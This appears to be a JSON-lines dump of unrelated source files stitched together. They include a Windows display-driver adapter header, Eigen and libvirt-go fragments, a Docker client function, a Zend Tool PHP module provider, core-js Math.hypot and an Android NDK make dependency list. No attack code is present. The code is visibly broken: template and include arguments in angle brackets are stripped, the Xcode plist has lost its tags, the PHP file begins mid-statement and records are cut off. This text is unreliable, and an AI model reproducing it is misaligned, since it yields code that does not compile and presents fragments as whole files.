OPTIONAL PVOID InBuffer,\r\n IN SIZE_T InBufferSize,\r\n OUT OPTIONAL PVOID OutBuffer,\r\n IN SIZE_T OutBufferSize,\r\n OUT OPTIONAL PSIZE_T BytesReturned);\r\n\r\n NTSTATUS\r\n NotifyAcpiEvent(\r\n IN_DXGK_EVENT_TYPE EventType,\r\n IN_ULONG Event,\r\n IN_PVOID Argument,\r\n OUT_PULONG AcpiFlags);\r\n\r\n void ResetDevice(void);\r\n\r\n NTSTATUS\r\n SetVirtualMachineData(\r\n IN_CONST_PDXGKARG_SETVIRTUALMACHINEDATA Args);\r\n\r\nprotected:\r\n\r\n CosKmAdapter(IN_CONST_PDEVICE_OBJECT PhysicalDeviceObject, OUT_PPVOID MiniportDeviceContext);\r\n virtual ~CosKmAdapter();\r\n\r\n void * operator new(size_t size);\r\n void operator delete(void * ptr);\r\n\r\npublic:\r\n\r\n static CosKmAdapter * Cast(void * ptr)\r\n {\r\n CosKmAdapter * cosKmAdapter = static_cast(ptr);\r\n\r\n NT_ASSERT(cosKmAdapter->m_magic == CosKmAdapter::kMagic);\r\n\r\n return cosKmAdapter;\r\n }\r\n\r\n DXGKRNL_INTERFACE* GetDxgkInterface()\r\n {\r\n return &m_DxgkInterface;\r\n }\r\n\r\n void QueueDmaBuffer(IN_CONST_PDXGKARG_SUBMITCOMMAND pSubmitCommand);\r\n\r\n bool\r\n ValidateDmaBuffer(\r\n COSDMABUFINFO* pDmaBufInfo,\r\n CONST DXGK_ALLOCATIONLIST* pAllocationList,\r\n UINT allocationListSize,\r\n CONST D3DDDI_PATCHLOCATIONLIST* pPatchLocationList,\r\n UINT patchAllocationList);\r\n\r\n#if COS_PHYSICAL_SUPPORT\r\n void\r\n PatchDmaBuffer(\r\n COSDMABUFINFO* pDmaBufInfo,\r\n CONST DXGK_ALLOCATIONLIST* pAllocationList,\r\n UINT allocationListSize,\r\n CONST D3DDDI_PATCHLOCATIONLIST* pPatchLocationList,\r\n UINT patchAllocationList);\r\n#endif\r\n\r\nprotected:\r\n\r\n friend class CosKmdDdi;\r\n\r\n //\r\n // If Start() succeeds, then Stop() must be called to clean up. For example,\r\n // if a subclass first calls Start() and then does controller-specific\r\n // stuff that fails, it needs to call Stop() before returning failure\r\n // to the framework.\r\n //\r\n virtual NTSTATUS Start(\r\n IN_PDXGK_START_INFO DxgkStartInfo,\r\n IN_PDXGKRNL_INTERFACE DxgkInterface,\r\n OUT_PULONG NumberOfVideoPresentSources,\r\n OUT_PULONG NumberOfChildren);\r\n\r\n virtual NTSTATUS Stop();\r\n\r\n NTSTATUS BuildPagingBuffer(\r\n IN_PDXGKARG_BUILDPAGINGBUFFER pArgs);\r\n\r\nprotected:\r\n\r\n virtual void ProcessRenderBuffer(COSDMABUFSUBMISSION * pDmaBufSubmission) = 0;\r\n virtual void ProcessHWRenderBuffer(COSDMABUFSUBMISSION * pDmaBufSubmission) = 0;\r\n#if COS_GPUVA_SUPPORT\r\n\r\n virtual void ProcessGpuVaRenderBuffer(COSDMABUFSUBMISSION * pDmaBufSubmission) = 0;\r\n\r\n#endif\r\n\r\nprivate:\r\n\r\n static void WorkerThread(void * StartContext);\r\n void DoWork(void);\r\n void DpcRoutine(void);\r\n void NotifyDmaBufCompletion(COSDMABUFSUBMISSION * pDmaBufSubmission);\r\n void NotifyPreemptionCompletion();\r\n static BOOLEAN SynchronizeNotifyInterrupt(PVOID SynchronizeContext);\r\n BOOLEAN SynchronizeNotifyInterrupt();\r\n COSDMABUFSUBMISSION * DequeueDmaBuffer(KSPIN_LOCK * pDmaBufQueueLock);\r\n void EmptyDmaBufferQueue();\r\n void ProcessPagingBuffer(COSDMABUFSUBMISSION * pDmaBufSubmission);\r\n static void HwDmaBufCompletionDpcRoutine(KDPC *, PVOID, PVOID, PVOID);\r\n\r\nprotected:\r\n\r\n static const size_t kPageSize = 4096;\r\n static const size_t kPageShift = 12;\r\n\r\n static const size_t kApertureSegmentId = 1;\r\n static const size_t kApertureSegmentPageCount = 1024;\r\n static const size_t kApertureSegmentSize = kApertureSegmentPageCount * kPageSize;\r\n\r\n PFN_NUMBER m_aperturePageTable[kApertureSegmentPageCount];\r\n\r\n static const size_t kVideoMemorySegmentId = 2;\r\n\r\n UINT GetAperturePhysicalAddress(UINT apertureAddress)\r\n {\r\n UINT pageIndex = (apertureAddress - COS_SEGMENT_APERTURE_BASE_ADDRESS) / kPageSize;\r\n\r\n return ((UINT)m_aperturePageTable[pageIndex])*kPageSize + (apertureAddress & (kPageSize - 1));\r\n };\r\n\r\nprotected:\r\n\r\n CosKmAdapterFlags m_flags;\r\n\r\n //\r\n // Indexes of hardware resources expected by the render subsystem.\r\n // Hardware resources for the display subsystem follow those for the renderer.\r\n //\r\n enum _RENDERER_CM_RESOURCE_INDEX : ULONG {\r\n _RENDERER_CM_RESOURCE_INDEX_MEMORY,\r\n _RENDERER_CM_RESOURCE_INDEX_INTERRUPT,\r\n _RENDERER_CM_RESOURCE_COUNT,\r\n };\r\n\r\nprivate:\r\n\r\n static const UINT32 kMagic = 'ADPT';\r\n\r\n UINT32 m_magic;\r\n\r\nprotected:\r\n\r\n DEVICE_OBJECT *m_pPhysicalDevice;\r\n DXGKRNL_INTERFACE m_DxgkInterface;\r\n DXGK_START_INFO m_DxgkStartInfo;\r\n\r\n COSKMERRORCONDITION m_ErrorHit;\r\n\r\n PKTHREAD m_pWorkerThread;\r\n KEVENT m_workerThreadEvent;\r\n bool m_workerExit;\r\n\r\n // TODO[indyz]: Switch to use the m_DxgkStartInfo::RequiredDmaQueueEntry\r\n const static UINT m_maxDmaBufQueueLength = 32;\r\n COSDMABUFSUBMISSION m_dmaBufSubssions[m_maxDmaBufQueueLength];\r\n\r\n LIST_ENTRY m_dmaBufSubmissionFree;\r\n LIST_ENTRY m_dmaBufQueue;\r\n KSPIN_LOCK m_dmaBufQueueLock;\r\n\r\n UINT m_lastSubmittedFenceId;\r\n UINT m_lastCompletetdFenceId;\r\n\r\n UINT m_lastCompeletedPreemptionFenceId;\r\n\r\n DXGKARG_PREEMPTCOMMAND m_preemptionRequest;\r\n\r\n KEVENT m_preemptionEvent;\r\n\r\n bool m_bInHangState;\r\n \r\n KEVENT m_resetRequestEvent;\r\n KEVENT m_resetCompletionEvent;\r\n\r\n KDPC m_hwDmaBufCompletionDpc;\r\n KEVENT m_hwDmaBufCompletionEvent;\r\n\r\n DXGKARGCB_NOTIFY_INTERRUPT_DATA m_interruptData;\r\n\r\n BOOL m_bReadyToHandleInterrupt;\r\n\r\n DXGK_DEVICE_INFO m_deviceInfo;\r\n\r\n BYTE m_deviceId[MAX_DEVICE_ID_LENGTH];\r\n ULONG m_deviceIdLength;\r\n\r\npublic:\r\n\r\n DEVICE_POWER_STATE m_AdapterPowerDState;\r\n BOOLEAN m_PowerManagementStarted;\r\n UINT m_NumPowerComponents;\r\n DXGK_POWER_RUNTIME_COMPONENT m_PowerComponents[C_COS_GPU_ENGINE_COUNT];\r\n UINT m_EnginePowerFState[C_COS_GPU_ENGINE_COUNT];\r\n\r\n UINT m_NumNodes;\r\n DXGK_WDDMVERSION m_WDDMVersion;\r\n\r\npublic:\r\n\r\n NTSTATUS\r\n InitializePowerComponentInfo();\r\n\r\n NTSTATUS\r\n GetNumPowerComponents();\r\n\r\n NTSTATUS\r\n GetPowerComponentInfo(\r\n IN UINT ComponentIndex,\r\n OUT DXGK_POWER_RUNTIME_COMPONENT* pPowerComponent);\r\n\r\n //\r\n // Display-only DDIs\r\n //\r\n\r\npublic: // NONPAGED\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_SETVIDPNSOURCEADDRESS)\r\n _IRQL_requires_min_(PASSIVE_LEVEL)\r\n _IRQL_requires_max_(PROFILE_LEVEL - 1)\r\n NTSTATUS SetVidPnSourceAddress (\r\n IN_CONST_PDXGKARG_SETVIDPNSOURCEADDRESS pSetVidPnSourceAddress\r\n );\r\n\r\npublic: // PAGED\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_SETPALETTE)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS SetPalette (\r\n IN_CONST_PDXGKARG_SETPALETTE pSetPalette\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_SETPOINTERPOSITION)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS SetPointerPosition (\r\n IN_CONST_PDXGKARG_SETPOINTERPOSITION SetPointerPositionPtr\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_SETPOINTERSHAPE)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS SetPointerShape (\r\n IN_CONST_PDXGKARG_SETPOINTERSHAPE SetPointerShapePtr\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_ISSUPPORTEDVIDPN)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS IsSupportedVidPn (\r\n INOUT_PDXGKARG_ISSUPPORTEDVIDPN pIsSupportedVidPn\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_RECOMMENDFUNCTIONALVIDPN)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS RecommendFunctionalVidPn (\r\n IN_CONST_PDXGKARG_RECOMMENDFUNCTIONALVIDPN_CONST pRecommendFunctionalVidPn\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_ENUMVIDPNCOFUNCMODALITY)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS EnumVidPnCofuncModality (\r\n IN_CONST_PDXGKARG_ENUMVIDPNCOFUNCMODALITY_CONST pEnumCofuncModality\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_SETVIDPNSOURCEVISIBILITY)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS SetVidPnSourceVisibility (\r\n IN_CONST_PDXGKARG_SETVIDPNSOURCEVISIBILITY pSetVidPnSourceVisibility\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_COMMITVIDPN)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS CommitVidPn (\r\n IN_CONST_PDXGKARG_COMMITVIDPN_CONST pCommitVidPn\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_UPDATEACTIVEVIDPNPRESENTPATH)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS UpdateActiveVidPnPresentPath (\r\n IN_CONST_PDXGKARG_UPDATEACTIVEVIDPNPRESENTPATH_CONST pUpdateActiveVidPnPresentPath\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_RECOMMENDMONITORMODES)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS RecommendMonitorModes (\r\n IN_CONST_PDXGKARG_RECOMMENDMONITORMODES_CONST pRecommendMonitorModes\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_GETSCANLINE)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS GetScanLine (\r\n INOUT_PDXGKARG_GETSCANLINE pGetScanLine\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_QUERYVIDPNHWCAPABILITY)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS QueryVidPnHWCapability (\r\n INOUT_PDXGKARG_QUERYVIDPNHWCAPABILITY io_pVidPnHWCaps\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_QUERYDEPENDENTENGINEGROUP)\r\n _IRQL_requires_(PASSIVE_LEVEL)\r\n NTSTATUS QueryDependentEngineGroup (\r\n INOUT_DXGKARG_QUERYDEPENDENTENGINEGROUP Args\r\n );\r\n\r\n _Check_return_\r\n _Function_class_DXGK_(DXGKDDI_STOP_DEVICE_AND_RELEASE_POST_DISPLAY_OWNERSHIP)\r\n _IRQL_requires_DXGK_(PASSIVE_LEVEL)\r\n NTSTATUS StopDeviceAndReleasePostDisplayOwnership (\r\n _In_ D3DDDI_VIDEO_PRESENT_TARGET_ID TargetId,\r\n _Out_ PDXGK_DISPLAY_INFORMATION DisplayInfo\r\n );\r\n};\r\n\r\ntemplate\r\nvoid MoveToNextCommand(TypeCur pCurCommand, TypeNext &pNextCommand)\r\n{\r\n pNextCommand = (TypeNext)(pCurCommand + 1);\r\n}\r\n\r\n#if COS_GPUVA_SUPPORT\r\n\r\n#define COS_GPU_VA_BIT_COUNT 0x20\r\n#define COS_PAGE_TABLE_LEVEL_COUNT 2\r\n\r\n#define COS_PAGE_TABLE_SIZE (4*PAGE_SIZE)\r\n\r\n#define COS_APERTURE_SEGMENT_BASE_ADDRESS 0xC0000000\r\n#define COS_APERTURE_SEGMENT_SIZE 16*1024*1024\r\n\r\n#endif\r\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2009 Hauke Heibel \n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_STDLIST_MODULE_H\n#define EIGEN_STDLIST_MODULE_H\n\n#include \"Core\"\n#include \n\n#if (defined(_MSC_VER) && defined(_WIN64)) /* MSVC auto aligns in 64 bit builds */ \n\n#define EIGEN_DEFINE_STL_LIST_SPECIALIZATION(...)\n\n#else\n\n#include \"src/StlSupport/StdList.h\"\n\n#endif\n\n#endif // EIGEN_STDLIST_MODULE_H\n"} +{"text": "/*\n * This file is part of the libvirt-go project\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * Copyright (c) 2013 Alex Zorin\n * Copyright (C) 2016 Red Hat, Inc.\n *\n */\n\npackage libvirt\n\n/*\n#cgo pkg-config: libvirt\n#include \n#include \n#include \"connect_cfuncs.h\"\n#include \"callbacks_cfuncs.h\"\n\nextern void closeCallback(virConnectPtr, int, long);\nvoid closeCallback_cgo(virConnectPtr conn, int reason, void *opaque)\n{\n closeCallback(conn, reason, (long)opaque);\n}\n\nint virConnectRegisterCloseCallback_cgo(virConnectPtr c, virConnectCloseFunc cb, long goCallbackId)\n{\n void *id = (void*)goCallbackId;\n return virConnectRegisterCloseCallback(c, cb, id, freeGoCallback_cgo);\n}\n\n#include \n\nextern int connectAuthCallback(virConnectCredentialPtr, unsigned int, int);\nint connectAuthCallback_cgo(virConnectCredentialPtr cred, unsigned int ncred, void *cbdata)\n{\n int *callbackID = cbdata;\n\n return connectAuthCallback(cred, ncred, *callbackID);\n}\n\nvirConnectPtr virConnectOpenAuthWrap(const char *name, int *credtype, uint ncredtype, int callbackID, unsigned int flags)\n{\n virConnectAuth auth = {\n .credtype = credtype,\n .ncredtype = ncredtype,\n .cb = connectAuthCallback_cgo,\n .cbdata = &callbackID,\n };\n\n return virConnectOpenAuth(name, &auth, flags);\n}\n\n*/\nimport \"C\"\n"} +{"text": "*%(basename)s:8: SyntaxError: 'new.target' must not contain escaped characters\n return new.t\\u0061rget;\n ^^^^^^^^^^^^^^^\nSyntaxError: 'new.target' must not contain escaped characters\n"} +{"text": "using Coldairarrow.Util;\nusing Microsoft.AspNetCore.Hosting;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Xml.Linq;\n\nnamespace Coldairarrow.Business.Base_SysManage\n{\n public static class UrlPermissionManage\n {\n #region 构造函数\n\n static UrlPermissionManage()\n {\n InitAllUrlPermissions();\n }\n\n #endregion\n\n #region 私有成员\n\n private static string _configFile\n {\n get\n {\n string rootPath = AutofacHelper.GetService().WebRootPath;\n return Path.Combine(rootPath, \"Config\", \"UrlPermission.config\");\n }\n }\n private static List _allUrlPermissions { get; set; }\n private static void InitAllUrlPermissions()\n {\n List resList = new List();\n string filePath = _configFile;\n XElement xe = XElement.Load(filePath);\n xe.Elements(\"action\")?.ForEach(aUrl =>\n {\n ActionPermission newUrl = new ActionPermission\n {\n Url = aUrl.Attribute(\"url\")?.Value,\n PermissionValue = aUrl.Attribute(\"needPermission\")?.Value\n };\n if (!newUrl.Url.IsNullOrEmpty() && !newUrl.PermissionValue.IsNullOrEmpty())\n resList.Add(newUrl);\n });\n\n _allUrlPermissions = resList;\n }\n\n #endregion\n\n #region 外部接口\n\n /// \n /// 获取所有URL需要的权限\n /// \n /// \n public static List GetAllUrlPermissions()\n {\n return _allUrlPermissions.DeepClone();\n }\n\n #endregion\n }\n\n #region 数据模型\n\n /// \n /// URL接口权限\n /// \n public class ActionPermission\n {\n public string Url { get; set; }\n public string PermissionValue { get; set; }\n }\n\n #endregion\n}"} +{"text": "hyaenidae = { #Source: Mauricio Antón and Jorge Morales, \"Madrid antes del hombre\", 2009, pp. 32-33; Source: http://www.itis.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&search_value=621756\n\tname = \"Hyaenidae\"\n\tcommon_name = \"Hyenid\"\n\trank = family\n\tsupertaxon = feliformia\n}\n"} +{"text": "\n\n\n\n\tSchemeUserState\n\t\n\t\tAJNotificationViewDemo.xcscheme\n\t\t\n\t\t\torderHint\n\t\t\t0\n\t\t\n\t\n\tSuppressBuildableAutocreation\n\t\n\t\tCB1F1D3915CA8B480058D877\n\t\t\n\t\t\tprimary\n\t\t\t\n\t\t\n\t\n\n\n"} +{"text": "package client\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\t\"github.com/docker/docker/api/types/swarm\"\n\t\"golang.org/x/net/context\"\n)\n\n// NodeInspectWithRaw returns the node information.\nfunc (cli *Client) NodeInspectWithRaw(ctx context.Context, nodeID string) (swarm.Node, []byte, error) {\n\tserverResp, err := cli.get(ctx, \"/nodes/\"+nodeID, nil, nil)\n\tif err != nil {\n\t\tif serverResp.statusCode == http.StatusNotFound {\n\t\t\treturn swarm.Node{}, nil, nodeNotFoundError{nodeID}\n\t\t}\n\t\treturn swarm.Node{}, nil, err\n\t}\n\tdefer ensureReaderClosed(serverResp)\n\n\tbody, err := ioutil.ReadAll(serverResp.body)\n\tif err != nil {\n\t\treturn swarm.Node{}, nil, err\n\t}\n\n\tvar response swarm.Node\n\trdr := bytes.NewReader(body)\n\terr = json.NewDecoder(rdr).Decode(&response)\n\treturn response, body, err\n}\n"} +{"text": "search('applicationDirectory');\n $targetModuleEnabledResources = array(\n 'ControllersDirectory', 'ModelsDirectory', 'ViewsDirectory',\n 'ViewScriptsDirectory', 'ViewHelpersDirectory', 'ViewFiltersDirectory'\n );\n }\n\n // find the actual modules directory we will use to house our module\n $modulesDirectory = $profile->search('modulesDirectory');\n\n // if there is a module directory already, except\n if ($modulesDirectory->search(array('moduleDirectory' => array('moduleName' => $moduleName)))) {\n throw new Zend_Tool_Project_Provider_Exception('A module named \"' . $moduleName . '\" already exists.');\n }\n\n // create the module directory\n $moduleDirectory = $modulesDirectory->createResource('moduleDirectory', array('moduleName' => $moduleName));\n\n // create a context filter so that we can pull out only what we need from the module skeleton\n $moduleContextFilterIterator = new Zend_Tool_Project_Profile_Iterator_ContextFilter(\n $targetModuleResource,\n array(\n 'denyNames' => array('ModulesDirectory', 'ViewControllerScriptsDirectory'),\n 'denyType' => 'Zend_Tool_Project_Context_Filesystem_File'\n )\n );\n\n // the iterator for the module skeleton\n $targetIterator = new RecursiveIteratorIterator($moduleContextFilterIterator, RecursiveIteratorIterator::SELF_FIRST);\n\n // initialize some loop state information\n $currentDepth = 0;\n $parentResources = array();\n $currentResource = $moduleDirectory;\n\n // loop through the target module skeleton\n foreach ($targetIterator as $targetSubResource) {\n\n $depthDifference = $targetIterator->getDepth() - $currentDepth;\n $currentDepth = $targetIterator->getDepth();\n\n if ($depthDifference === 1) {\n // if we went down into a child, make note\n array_push($parentResources, $currentResource);\n // this will have always been set previously by another loop\n $currentResource = $currentChildResource;\n } elseif ($depthDifference < 0) {\n // if we went up to a parent, make note\n $i = $depthDifference;\n do {\n // if we went out more than 1 parent, get to the correct parent\n $currentResource = array_pop($parentResources);\n } while ($i-- > 0);\n }\n\n // get parameters for the newly created module resource\n $params = $targetSubResource->getAttributes();\n $currentChildResource = $currentResource->createResource($targetSubResource->getName(), $params);\n\n // based of the provided list (Currently up top), enable specific resources\n if (isset($targetModuleEnabledResources)) {\n $currentChildResource->setEnabled(in_array($targetSubResource->getName(), $targetModuleEnabledResources));\n } else {\n $currentChildResource->setEnabled($targetSubResource->isEnabled());\n }\n\n }\n\n return $moduleDirectory;\n }\n\n /**\n * create()\n *\n * @param string $name\n */\n public function create($name) //, $moduleProfile = null)\n {\n $this->_loadProfile(self::NO_PROFILE_THROW_EXCEPTION);\n\n // determine if testing is enabled in the project\n require_once 'Zend/Tool/Project/Provider/Test.php';\n //$testingEnabled = Zend_Tool_Project_Provider_Test::isTestingEnabled($this->_loadedProfile);\n \n $resources = self::createResources($this->_loadedProfile, $name);\n\n $response = $this->_registry->getResponse();\n\n if ($this->_registry->getRequest()->isPretend()) {\n $response->appendContent('I would create the following module and artifacts:');\n foreach (new RecursiveIteratorIterator($resources, RecursiveIteratorIterator::SELF_FIRST) as $resource) {\n if (is_callable(array($resource->getContext(), 'getPath'))) {\n $response->appendContent($resource->getContext()->getPath());\n }\n }\n } else {\n $response->appendContent('Creating the following module and artifacts:');\n $enabledFilter = new Zend_Tool_Project_Profile_Iterator_EnabledResourceFilter($resources);\n foreach (new RecursiveIteratorIterator($enabledFilter, RecursiveIteratorIterator::SELF_FIRST) as $resource) {\n $response->appendContent($resource->getContext()->getPath());\n $resource->create();\n }\n\n $response->appendContent('Added a key for path module directory to the application.ini file');\n $appConfigFile = $this->_loadedProfile->search('ApplicationConfigFile');\n $appConfigFile->removeStringItem('resources.frontController.moduleDirectory', 'production');\n $appConfigFile->addStringItem('resources.frontController.moduleDirectory', 'APPLICATION_PATH \"/modules\"', 'production', false);\n\n if (strtolower($name) == 'default') {\n $response->appendContent('Added a key for the default module to the application.ini file');\n $appConfigFile->addStringItem('resources.frontController.params.prefixDefaultModule', '1', 'production');\n }\n\n $appConfigFile->create();\n\n // store changes to the profile\n $this->_storeProfile();\n }\n\n }\n\n}\n\n"} +{"text": "// 20.2.2.17 Math.hypot([value1[, value2[, … ]]])\nvar $export = require('./_export');\nvar abs = Math.abs;\n\n$export($export.S, 'Math', {\n hypot: function hypot(value1, value2) { // eslint-disable-line no-unused-vars\n var sum = 0;\n var i = 0;\n var aLen = arguments.length;\n var larg = 0;\n var arg, div;\n while (i < aLen) {\n arg = abs(arguments[i++]);\n if (larg < arg) {\n div = larg / arg;\n sum = sum * div * div + 1;\n larg = arg;\n } else if (arg > 0) {\n div = arg / larg;\n sum += div * div;\n } else sum += arg;\n }\n return larg === Infinity ? Infinity : larg * Math.sqrt(sum);\n }\n});\n"} +{"text": "\n\n\n\n\t\n \n\n"} +{"text": "obj/local/armeabi/objs/level8/level8.o: jni/level8.c \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdio.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/cdefs.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/cdefs_elf.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/android/api-level.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdint.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/_types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/_types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/_wchar_limits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/posix_types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/stddef.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/compiler.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/posix_types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/kernel.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/sysmacros.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdlib.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/string.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/malloc.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/alloca.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/strings.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/memory.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/unistd.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/select.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/time.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/time.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/signal.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/limits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/limits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/limits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/internal_types.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/limits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/syslimits.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/page.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/signal.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm-generic/signal.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/siginfo.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm-generic/siginfo.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/ucontext.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/user.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/sigcontext.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/sysconf.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/capability.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/pathconf.h \\\n /home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/dlfcn.h\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdio.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/cdefs.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/cdefs_elf.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/android/api-level.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdint.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/_types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/_types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/_wchar_limits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/posix_types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/stddef.h:\n\n